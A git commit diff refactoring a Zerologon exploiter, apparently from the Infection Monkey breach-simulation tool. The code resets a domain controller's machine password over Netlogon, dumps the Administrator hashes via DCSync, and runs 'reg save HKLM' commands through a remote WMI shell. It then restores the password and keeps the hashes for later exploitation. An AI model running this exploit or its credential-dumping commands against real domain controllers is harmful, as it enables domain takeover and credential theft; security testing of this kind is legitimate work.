More CR changes

TODO:
- impacket license
- get pwd for some other users if 'Administrator' doesn't exist (and save all users' creds?)
- unit tests
This commit is contained in:
Shreya 2021-02-13 01:37:53 +05:30
parent 0866aee2cf
commit 0992e276b4
4 changed files with 99 additions and 64 deletions

View File

@ -19,7 +19,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
OptionsForSecretsdump OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
from infection_monkey.utils.capture_output import StdoutOutputCaptor from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -38,7 +38,7 @@ class ZerologonExploiter(HostExploiter):
self.zerologon_finger = ZerologonFinger() self.zerologon_finger = ZerologonFinger()
self.exploit_info['credentials'] = {} self.exploit_info['credentials'] = {}
def _exploit_host(self) -> Optional[bool]: def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
if self.is_exploitable(): if self.is_exploitable():
@ -49,7 +49,7 @@ class ZerologonExploiter(HostExploiter):
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return return False
# Start exploiting attempts. # Start exploiting attempts.
LOG.debug("Attempting exploit.") LOG.debug("Attempting exploit.")
@ -58,12 +58,15 @@ class ZerologonExploiter(HostExploiter):
rpc_con.disconnect() rpc_con.disconnect()
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit not attempted. "
_exploited = False "Target is most likely patched, or an error was encountered by the Zerologon fingerprinter.")
return False
# Restore DC's original password. # Restore DC's original password.
if _exploited: if _exploited:
if self.restore_password(): is_pwd_restored, restored_pwd_hashes = self.restore_password()
if is_pwd_restored:
self.store_extracted_hashes_for_exploitation(user='Administrator', hashes=restored_pwd_hashes)
LOG.info("System exploited and password restored successfully.") LOG.info("System exploited and password restored successfully.")
else: else:
LOG.info("System exploited but couldn't restore password!") LOG.info("System exploited but couldn't restore password!")
@ -75,32 +78,34 @@ class ZerologonExploiter(HostExploiter):
def is_exploitable(self) -> bool: def is_exploitable(self) -> bool:
if self.zerologon_finger._SCANNED_SERVICE in self.host.services: if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable'] return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
return self.zerologon_finger.get_host_fingerprint(self.host) else:
is_vulnerable = self.zerologon_finger.attempt_authentication(dc_handle=self.dc_handle,
dc_ip=self.dc_ip,
dc_name=self.dc_name)
return is_vulnerable
def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
result_exploit_attempt = None
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: exploit_attempt_result = self.try_exploit_attempt(rpc_con)
result_exploit_attempt = self.attempt_exploit(rpc_con)
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result_exploit_attempt is not None: is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
if result_exploit_attempt['ErrorCode'] == 0: if is_exploited:
self.report_login_attempt(result=True, user=self.dc_name) return is_exploited
_exploited = True
LOG.info("Exploit complete!") return False
else:
self.report_login_attempt(result=False, user=self.dc_name) def try_exploit_attempt(self, rpc_con):
_exploited = False try:
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") exploit_attempt_result = self.attempt_exploit(rpc_con)
return _exploited return exploit_attempt_result
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
def attempt_exploit(self, rpc_con: object) -> object: def attempt_exploit(self, rpc_con: object) -> object:
request = nrpc.NetrServerPasswordSet2() request = nrpc.NetrServerPasswordSet2()
@ -121,10 +126,25 @@ class ZerologonExploiter(HostExploiter):
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['Authenticator'] = authenticator request['Authenticator'] = authenticator
def restore_password(self) -> Optional[bool]: def assess_exploit_attempt_result(self, exploit_attempt_result):
if exploit_attempt_result:
if exploit_attempt_result['ErrorCode'] == 0:
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
return _exploited
def restore_password(self) -> (Optional[bool], List[str]):
LOG.info("Restoring original password...") LOG.info("Restoring original password...")
try: try:
admin_pwd_hashes = None
rpc_con = None
# DCSync to get Administrator password's hashes. # DCSync to get Administrator password's hashes.
LOG.debug("DCSync; getting Administrator password's hashes.") LOG.debug("DCSync; getting Administrator password's hashes.")
admin_pwd_hashes = self.get_admin_pwd_hashes() admin_pwd_hashes = self.get_admin_pwd_hashes()
@ -133,7 +153,7 @@ class ZerologonExploiter(HostExploiter):
# Use Administrator password's NT hash to get original DC password's hashes. # Use Administrator password's NT hash to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.") LOG.debug("Getting original DC password's NT hash.")
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) original_pwd_nthash = self.get_original_pwd_nthash(':'.join(admin_pwd_hashes))
if not original_pwd_nthash: if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.") raise Exception("Couldn't extract original DC password's NT hash.")
@ -142,7 +162,7 @@ class ZerologonExploiter(HostExploiter):
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}") LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return return False, admin_pwd_hashes
# Start restoration attempts. # Start restoration attempts.
LOG.debug("Attempting password restoration.") LOG.debug("Attempting password restoration.")
@ -150,16 +170,17 @@ class ZerologonExploiter(HostExploiter):
if not _restored: if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?") raise Exception("Failed to restore password! Max attempts exceeded?")
return _restored return _restored, admin_pwd_hashes
except Exception as e: except Exception as e:
LOG.error(e) LOG.error(e)
return None, admin_pwd_hashes
finally: finally:
if rpc_con: if rpc_con:
rpc_con.disconnect() rpc_con.disconnect()
def get_admin_pwd_hashes(self) -> str: def get_admin_pwd_hashes(self) -> List[str]:
try: try:
options = OptionsForSecretsdump( options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
@ -173,8 +194,7 @@ class ZerologonExploiter(HostExploiter):
user = 'Administrator' user = 'Administrator'
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) return hashes # format - [lmhash, nthash]
return ':'.join(hashes) # format - "lmhash:nthash"
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}")
@ -258,9 +278,8 @@ class ZerologonExploiter(HostExploiter):
remote_shell = wmiexec.get_remote_shell() remote_shell = wmiexec.get_remote_shell()
if remote_shell: if remote_shell:
output_captor = StdoutOutputCaptor() output_captor = StdoutCapture()
output_captor.capture_stdout_output() output_captor.capture_stdout_output()
try: try:
# Save HKLM keys on victim. # Save HKLM keys on victim.
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
@ -300,23 +319,30 @@ class ZerologonExploiter(HostExploiter):
except Exception as e: except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]: def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
result_restoration_attempt = None
for _ in range(0, self.MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
if result_restoration_attempt: is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
LOG.debug("DC machine account password should be restored to its original value.") if is_restored:
return True return is_restored
return False
def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool:
try:
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
return restoration_attempt_result
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
return False
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
plaintext = b'\x00'*8 plaintext = b'\x00'*8
@ -357,6 +383,11 @@ class ZerologonExploiter(HostExploiter):
return rpc_con return rpc_con
def assess_restoration_attempt_result(self, restoration_attempt_result):
if restoration_attempt_result:
LOG.debug("DC machine account password should be restored to its original value.")
return True
class NetrServerPasswordSet(nrpc.NDRCALL): class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6 opnum = 6

View File

@ -7,7 +7,7 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
SAMHashes) SAMHashes)
from impacket.smbconnection import SMBConnection from impacket.smbconnection import SMBConnection
from infection_monkey.utils.capture_output import StdoutOutputCaptor from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -53,7 +53,7 @@ class DumpSecrets:
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self): def dump(self):
output_captor = StdoutOutputCaptor() output_captor = StdoutCapture()
output_captor.capture_stdout_output() output_captor.capture_stdout_output()
dumped_secrets = '' dumped_secrets = ''

View File

@ -30,19 +30,11 @@ class ZerologonFinger(HostFinger):
# Approximate time taken by 2000 attempts: 40 seconds. # Approximate time taken by 2000 attempts: 40 seconds.
LOG.info('Performing Zerologon authentication attempts...') LOG.info('Performing Zerologon authentication attempts...')
rpc_con = None auth_successful = self.attempt_authentication(dc_handle, dc_ip, dc_name)
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
if rpc_con is not None:
break
except Exception as ex:
LOG.info(ex)
break
self.init_service(host.services, self._SCANNED_SERVICE, '') self.init_service(host.services, self._SCANNED_SERVICE, '')
if rpc_con: if auth_successful:
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.') LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
return True return True
@ -73,6 +65,18 @@ class ZerologonFinger(HostFinger):
except BaseException as ex: except BaseException as ex:
LOG.info(f'Exception: {ex}') LOG.info(f'Exception: {ex}')
def attempt_authentication(self, dc_handle: str, dc_ip: str, dc_name: str) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
if rpc_con is not None:
rpc_con.disconnect()
return True
except Exception as ex:
LOG.info(ex)
return False
return False
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(dc_ip) rpc_con = self.connect_to_dc(dc_ip)

View File

@ -2,7 +2,7 @@ import io
import sys import sys
class StdoutOutputCaptor: class StdoutCapture:
def __init__(self): def __init__(self):
_orig_stdout = None _orig_stdout = None
_new_stdout = None _new_stdout = None